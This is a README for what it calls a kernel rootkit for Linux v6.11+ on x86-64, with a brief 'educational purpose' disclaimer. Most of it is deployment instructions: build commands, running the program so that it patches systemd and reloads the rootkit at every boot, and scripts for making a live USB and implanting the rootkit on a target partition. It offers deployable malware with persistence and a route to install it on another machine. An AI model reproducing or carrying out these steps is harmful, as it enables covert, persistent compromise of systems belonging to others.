This is a kernel rootkit that works without kallsyms and kprobe support. It aims at linux v6.11+ kernel versions with x86-64 architecture. All the features will be tested on ubuntu 24.04 and some other experiment environments.
This rootkit is for Educational Purpose, do not use it to do anything illegally.
This rootkit will potentially cause IRREVERSIBLE DAMAGE to your system, please run it in experiment environment.
The kallsyms can be removed while compiling the kernel, it is not a good thing to depend on it. By the way, the symbol searching of kprobe is also implemented by kallsyms, so it is not allowed to be used in this repository.
sudo apt install linux-headers-`uname -r`
git clone https://github.com/rota1001/kernel-rootkit.git
cd kernel-rootkit
make
Please read the Claim before you do it.
If you know what you are doing, use sudo to execute this program. Your systemd will be patched, and the rootkit will be automatically inserted everytime you boot your kernel.
The parameter is the path to the target root, and all the path setting in the program will be relative to this path. For example, if the rootfs is stored on a partition, you can mount it on a directory and pass the absolute path of that partition as the parameter to run this program.
sudo ./user [absolute path to target root]
You can use the shell script create-usb.sh to create a minimal USB.
./create-usb.sh
You can use the shell script attack.sh to implant the rootkit on the target partition. This can be run in the Live USB created above, and will be placed at the root directory defaultly.
./attack.sh
